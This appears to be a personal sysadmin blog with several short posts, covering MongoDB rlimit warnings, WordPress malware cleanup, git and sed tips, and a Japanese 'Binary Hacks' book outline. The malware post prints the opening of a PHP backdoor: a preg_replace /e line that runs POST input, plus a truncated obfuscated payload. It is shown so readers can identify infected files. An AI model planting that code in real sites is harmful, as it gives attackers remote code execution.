WARNING: Cannot detect if NUMA interleaving is enabled. Failed to probe “/sys/devices/system/node/node1”: Permission denied

[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
connecting to: test
Server has startup warnings:
2016-02-29T23:11:36.666+0700 I CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten] ** WARNING: Cannot detect if NUMA interleaving is enabled. Failed to probe "/sys/devices/system/node/node1": Permission denied
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten] Failed to probe "/sys/kernel/mm/transparent_hugepage": Permission denied
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten] Failed to probe "/sys/kernel/mm/transparent_hugepage": Permission denied
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten] ** WARNING: soft rlimits too low. rlimits set to 4096 processes, 262144 files. Number of processes should be at least 131072 : 0.5 times number of files.

Solution

I’m using the OVH kernel, so it is impossible to use with MongoDB, to solve this issue I have to install back the original kernel of the linux, then this error will be gone.

WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

I’ve received this error while starting mongo in shell while installing on

[[email protected] ~]# mongod --version
db version v3.2.3
git version: b326ba837cf6f49d65c2f85e1b70f6f31ece7937
OpenSSL version: OpenSSL 1.0.1e-fips 11 Feb 2013
allocator: tcmalloc
modules: none
build environment:
    distmod: rhel70
    distarch: x86_64
    target_arch: x86_64
[[email protected] ~]# mongo --version
MongoDB shell version: 3.2.3
CentOS Linux release 7.2.1511 (Core)
WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

Solution

vim /etc/security/limits.d/90-nproc.conf

Then put in

mongod     soft    nproc     64000

and

reboot

Remove WordPress Malware using Linux Shell Console

I’ve a lot of wordpress sites, recently few of my old sites infected malware, and those spammer using few of my sites to spam email. I would like to share the way I fix this.

Most of the spammer look for the 777 path, most properly in /wp-content/uploads/
So I try to scan all the php files that they upload there with date.

find ./public_html/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

Then I found these

2015-10-16 12:25:01 ./wp-content/uploads/2013/05/blog84.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/10/dump.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/code.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/07/session90.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/09/xml96.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/504.php
2015-10-16 12:25:01 ./wp-content/uploads/about_us.php
2015-10-16 12:25:01 ./wp-content/uploads/contactus.php
2015-10-16 12:25:01 ./wp-content/uploads/rtbwvcsxrnbsvcd.php
2015-10-16 12:25:01 ./wp-content/uploads/sc_afsed.php
2015-10-16 12:25:01 ./wp-content/uploads/team.php
2015-10-16 12:25:01 ./wp-content/uploads/wp-upload.php

This Kind of files should be remove and they will spam.
You can view the file header to see is it spam or not.

head ./wp-content/uploads/2013/05/blog84.php

It will show something like this

<?php @preg_replace('/(.*)/e', @$_POST['dnrdztvetxn'], '');
 $GLOBALS['af4569'] = "\x40\x46\x33\x2e\x62\x7a\x6e\x4c\xa\x7e\x28\x39\x59\x71\x54\x5f\x73\x65\x3f\x77\x5d\x29\x6c\x2f\x79\x50\x56\x63\x5c\x4f\x3c\x70\x2d\x34\x24\x4d\x4a\x53\x57\x67\x44\x51\x23\x43\x7d\x64\x2b\x72\x5

You should remove it immediately.

Search Malware files in WordPress

If you are server admin, you would like to scan all the users, you can try this

find /home/*/domains/*/public_html/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

or

find /home/nginx/domains/*/public/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

The best way to find out all possible files, I suggest you upgrade the WordPress to latest version
Then try

find ./public_html -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

This will sort all the date of php file with modified date, you can find it out and remove them easily.

exit code of #128 fatal: unable to connect to github.com

I follow the Quickstart guide from FoundationPress and it display this error

bower install && grunt build
bower foundation#*          not-cached git://github.com/zurb/bower-foundation.git#*
bower foundation#*             resolve git://github.com/zurb/bower-foundation.git#*
bower fontawesome#~4.3.0    not-cached git://github.com/FortAwesome/Font-Awesome.git#~4.3.0
bower fontawesome#~4.3.0       resolve git://github.com/FortAwesome/Font-Awesome.git#~4.3.0
bower fontawesome#~4.3.0       ECMDERR Failed to execute "git ls-remote --tags --heads git://github.com/FortAwesome/Font-Awesome.git", exit code of #128 fatal: unable to connect to github.com: github.com[0: 192.30.252.131]: errno=Connection timed out

I run this to solve this problem.

git config --global url."https://".insteadOf git://

Fastest way to rename filenames with space to dash in linux

I want to mass rename hundred of filenames like
filename 001.jpg to filename-001.jpg



filename 099.jpg to filename-099.jpg

I use this command to rename all in few seconds in my MacBook Pro.
I think it is fine to run in any linux.

for f in *\ *; do mv "$f" "${f// /-}"; done

Show Image Size in Terminal or Shell

The easiest way to show the file size in Terminal in Mac or Linux.

ustins-MacBook-Pro:jpg juzhax$ file 001.jpg
001.jpg: JPEG image data, EXIF standard
Justins-MacBook-Pro:jpg juzhax$ identify 001.jpg
001.jpg JPEG 720x468 720x468+0+0 8-bit sRGB 59.8KB 0.000u 0:00.009
Justins-MacBook-Pro:jpg juzhax$

command c expects followed by text error in Mac

You received error from the sed command in Mac, because the argument in mac is different.
If you type in Mac terminal, you may receive error like this

Justins-MacBook-Pro:2 juzhax$ sed -i 's/old_text/new_text/g' example.txt
sed: 1: "config.php": command c expects \ followed by text

The first argument should be the extension of the backup file. The correct way is

Justins-MacBook-Pro:2 juzhax$ sed -i '.bak' 's/old_text/new_text/g' example.txt

or

Justins-MacBook-Pro:2 juzhax$ sed -i '.original' 's/old_text/new_text/g' example.txt

If you don’t want any backup file, you can do like this.

Justins-MacBook-Pro:2 juzhax$ sed -i '' 's/old_text/new_text/g' example.txt

Hacker’s Secret 100 Secret Techniques Revealed

One of the nice book that suitable for Hacker, but too bad it is in Japanese version. Wish someone will translate to English version in future.

You can find the author from here Satoru TakabayashiFumitoshi UkaiYusuke SatoShinichiro HamajiKazuyuki Shudo

Chapter 1. Introduction

1. Introduction to Binary Hacks
2. Terminology of Binary Hacks
3. Using “file” to tell file types
4. Using “od” to dump binary files

Chapter 2. Object Files Hacks

5. Introduction to ELF
6. Static libraries and dynamic libraries
7. Using “ldd” to check dependencies of shared libraries
8. Using “readelf” to see information of ELF files
9. Using “objdump” to dump object files
10. Using “objdump” to disassemble object files
11. Using “objcopy” to embed data in executables
12. Using “nm” to see lists of symbols in object files
13. Using “strings” to extract strings from binary files
14. Using “c++filt” to demangle C++ symbols
15. Using “addr2line” to get file names and line numbers by addresses
16. Using “strip” to delete symbols from object files
17. Using “ar” to modify static libraries
18. How to link C and C++ programs
19. How to avoid symbol collision issues
20. Why PIC code is used for shared libraries on GNU/Linux systems
21. Using “statifier” to create pseudo static executables from dynamic executables

Chapter 3. GNU Programming Hacks

22. Introduction to GCC extensions
23. Using inline assembler with GCC
24. Using GCC’s builtin functions for optimization
25. Writing “Hello World” without using glibc
26. Using TLS (Thread Local Storage)
27. Switching glibc’s internal libraries by system capabilities
28. Changing behavior of programs by linked libraries
29. Reducing exported symbols of libraries
30. Using versioned symbols to manage compatibility
31. Calling functions before main()
32. How GCC generates trampoline code at runtime
33. Allowing and disallowing executable flags of code on stacks
34. Running code on heaps
35. Creating PIE (Position Independent Executable)
36. Writing synchronized methods in C++
37. Creating singletons in C++
38. Understanding g++’s exceptions (throw)
39. Understanding g++’s exceptions (SjLj)
40. Understanding g++’s exceptions (DWARF2)
41. Understanding runtime cost of g++’s exceptions

Chapter 4. Secure Programming Hacks

42. Introduction to GCC secure programming
43. Using “-ftrapv” to detect integer overflows
44. Using “Mudflap” to detect buffer overflows
45. Using “-D_FORTIFY_SOURCE” to detect buffer overflows
46. Using “-fstack-protector” to protect stacks
47. Why you should use unsigned constants to do bitmask
48. Why big shift operations are dangerous
49. Why you should care difference between 0 and NULL on 64-bit systems
50. Thread-safe functions defined by POSIX
51. Writing signal handlers in a safe manner
52. Using “sigwait” to process async signals synchronously
53. Using “sigsafe” to write signal processing safely
54. Using “Valgrind” to detect memory leaks
55. Using “Valgrind” to detect invalid memory access
56. Using “Helgrind” to debug multi-threaded programs
57. Using “fakeroot” to run programs with fake root privilege

Chapter 5. Runtime Hacks

58. How programs reach main()
59. How system calls are called
60. Using “LD_PRELOAD” to switch shared libraries
61. Using “LD_PRELOAD” to wrap existing functions
62. Using “dlopen” to do dynamic linking
63. Showing backtraces with C programs
64. Checking running process’s absolute path
65. Checking loaded shared libraries of running programs
66. Checking memory maps of running programs
67. Using “libbfd” to list symbols
68. Demangling C++ symbols at runtime
69. Using “ffcall” to call functions with dynamic signatures
70. Using “libdwarf” to get debug information
71. Using “dumper” to pretty-print struct variables
72. How to load object files yourself
73. Using “libunwind” to control call chains
74. Using “GNU lightning” to generate code in a portable manner
75. Getting addresses of stacks
76. Using “sigaltstack” to handle stack overflows
77. Hooking entering and exiting of functions
78. Modifying contexts of programs in signal handlers
79. Getting values of program counters
80. Rewriting your programs at runtime
81. Using “SIGSEGV” to validate accessibility of addresses
82. Using “strace” to trace system calls
83. Using “ltrace” to trace function calls in shared libraries
84. Using “Jockey” to record and replay programs
85. Using “prelink” to improve programs starting up time
86. Using ‘livepatch” to patch running programs

Chapter 6. Profilers and Debuggers Hacks

87. Using “gprof” to profile programs
88. Using “sysprof” to profile systems very easily
89. Using “oprofile” to profile systems
90. Using “GDB” to control running programs
91. Using debugging support of hardware
92. Setting break points in your C programs

Chapter 7. Misc Hacks

93. How Boehm GC works
94. Why you should be careful about memory ordering of processors
95. Light-weight concurrent processing with PCL (Portable Coroutine Library)
96. Counting clock counts of CPUs
97. How floating numbers are expressed in bits
98. What’s special about x86’s floating numbers instructions
99. Raising signals for operations resulting infinite or NAN.
100. Further reading